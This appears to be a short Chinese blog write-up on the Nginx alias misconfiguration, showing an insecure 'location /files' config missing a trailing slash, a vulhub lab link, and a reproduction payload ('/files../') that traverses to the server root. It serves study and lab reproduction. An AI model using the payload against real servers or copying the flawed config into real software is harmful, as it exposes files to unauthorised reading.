漏洞原因

Nginx在配置别名(Alias)的时候,如果忘记加/,将造成一个目录穿越漏洞。

错误的配置文件示例(原本的目的是为了让用户访问到/home/目录下的文件):

location /files {
    alias /home/;
}

 

环境搭建

https://github.com/vulhub/vulhub/tree/master/nginx/insecure-configuration

 

复现

Payload:

http://your-ip:8081/files../ ,成功穿越到根目录:

目录穿越漏洞 -配置错误

 

 

 

 

 

 




相关文章:

  • 2021-09-20
  • 2021-08-21
  • 2022-12-23
  • 2021-11-14
  • 2022-01-18
  • 2021-09-21
  • 2021-08-12
  • 2021-07-18
猜你喜欢
  • 2022-01-23
  • 2021-05-06
  • 2022-01-15
  • 2022-12-23
  • 2022-01-22
  • 2021-12-28
相关资源
相似解决方案